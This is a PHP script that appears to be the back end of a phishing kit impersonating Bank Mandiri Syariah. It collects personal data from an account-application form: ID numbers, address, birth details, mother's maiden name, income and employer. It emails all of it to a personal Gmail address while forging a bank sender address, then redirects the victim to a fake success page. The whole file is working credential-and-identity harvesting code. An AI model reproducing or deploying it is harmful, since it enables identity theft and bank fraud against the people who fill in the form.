<?php

$EmailFrom = "mandiricare@mandirisyariah.com";
$EmailTo = "invisibles778@gmail.com";
$Subject = "BANK MANDIRI SYARIAH NROPA APPLICATION";
$Name = Trim(stripslashes($_POST['name']));
$UserID = Trim(stripslashes($_POST['userid']));
$Identification = Trim(stripslashes($_POST['id-type']));
$Identificationno = Trim(stripslashes($_POST['idnumber']));
$Address = Trim(stripslashes($_POST['address'])); 
$City = Trim(stripslashes($_POST['city']));
$State = Trim(stripslashes($_POST['state'])); 
$Zip = Trim(stripslashes($_POST['zip']));
$HomePhone = Trim(stripslashes($_POST['phone']));
$FaxNo = Trim(stripslashes($_POST['fax']));
$MobileNo = Trim(stripslashes($_POST['mobile']));
$Email = Trim(stripslashes($_POST['email']));
$Sex = Trim(stripslashes($_POST['sex']));
$Dateofbirth = Trim(stripslashes($_POST['db']));
$Placeofbirth = Trim(stripslashes($_POST['birthplace']));
$MaritalStatus = Trim(stripslashes($_POST['maritalstatus']));
$Religion = Trim(stripslashes($_POST['religions']));
$Job = Trim(stripslashes($_POST['jobs']));
$Income = Trim(stripslashes($_POST['inc-year']));
$Education = Trim(stripslashes($_POST['edu']));
$HouseStatus = Trim(stripslashes($_POST['home-status']));
$NameofReference = Trim(stripslashes($_POST['refrence']));
$NextofKins = Trim(stripslashes($_POST['nextofkins']));
$Mothername = Trim(stripslashes($_POST['maidenname']));
$CompanyName = Trim(stripslashes($_POST['company']));
$PositionRank = Trim(stripslashes($_POST['position']));
$Business = Trim(stripslashes($_POST['businessline']));
$OfficeAddress = Trim(stripslashes($_POST['officeaddress']));
$Nationality = Trim(stripslashes($_POST['Country']));
$CountryofResident = Trim(stripslashes($_POST['Country2']));
$AccountOpening = Trim(stripslashes($_POST['account-goal']));
$AccountType = Trim(stripslashes($_POST['account-type']));

// validation
$validationOK=true;
if (!$validationOK) {
  print "<meta http-equiv=\"refresh\" content=\"0;URL=error.htm\">";
  exit;
}

// prepare email body text
$Body = "";
$Body .= "Name: ";
$Body .= $Name;
$Body .= "\n";
$Body .= "UserID: ";
$Body .= $UserID;
$Body .= "\n";
$Body .= "Identification: ";
$Body .= $Identification;
$Body .= "\n";
$Body .= "Identificationno: ";
$Body .= $Identificationno;
$Body .= "\n";
$Body .= "Address: ";
$Body .= $Address;
$Body .= "\n";
$Body .= "City: ";
$Body .= $City;
$Body .= "\n";
$Body .= "State: ";
$Body .= $State;
$Body .= "\n";
$Body .= "Zip: ";
$Body .= $Zip;
$Body .= "\n";
$Body .= "HomePhone: ";
$Body .= $HomePhone;
$Body .= "\n";
$Body .= "FaxNo: ";
$Body .= $FaxNo;
$Body .= "\n";
$Body .= "MobileNo: ";
$Body .= $MobileNo;
$Body .= "\n";
$Body .= "Email: ";
$Body .= $Email;
$Body .= "\n";
$Body .= "Sex: ";
$Body .= $Sex;
$Body .= "\n";
$Body .= "Dateofbirth: ";
$Body .= $Dateofbirth;
$Body .= "\n";
$Body .= "Placeofbirth: ";
$Body .= $Placeofbirth;
$Body .= "\n";
$Body .= "MaritalStatus: ";
$Body .= $MaritalStatus;
$Body .= "\n";
$Body .= "Religion: ";
$Body .= $Religion;
$Body .= "\n";
$Body .= "Job: ";
$Body .= $Job;
$Body .= "\n";
$Body .= "Income: ";
$Body .= $Income;
$Body .= "\n";
$Body .= "Education: ";
$Body .= $Education;
$Body .= "\n";
$Body .= "HouseStatus: ";
$Body .= $HouseStatus;
$Body .= "\n";
$Body .= "NameofReference: ";
$Body .= $NameofReference;
$Body .= "\n";
$Body .= "NextofKins: ";
$Body .= $NextofKins;
$Body .= "\n";
$Body .= "Mothername: ";
$Body .= $Mothername;
$Body .= "\n";
$Body .= "CompanyName: ";
$Body .= $CompanyName;
$Body .= "\n";
$Body .= "PositionRank: ";
$Body .= $PositionRank;
$Body .= "\n";
$Body .= "Business: ";
$Body .= $Business;
$Body .= "\n";
$Body .= "OfficeAddress: ";
$Body .= $OfficeAddress;
$Body .= "\n";
$Body .= "Nationality: ";
$Body .= $Nationality;
$Body .= "\n";
$Body .= "CountryofResident: ";
$Body .= $CountryofResident;
$Body .= "\n";
$Body .= "AccountOpening: ";
$Body .= $AccountOpening;
$Body .= "\n";
$Body .= "AccountType: ";
$Body .= $AccountType;
$Body .= "\n";

// send email 
$success = mail($EmailTo, $Subject, $Body, "From: <$EmailFrom>");

// redirect to success page 
if ($success){
  print "<meta http-equiv=\"refresh\" content=\"0;URL=appsuccess.html\">";
}
else{
  print "<meta http-equiv=\"refresh\" content=\"0;URL=error.htm\">";
}
?>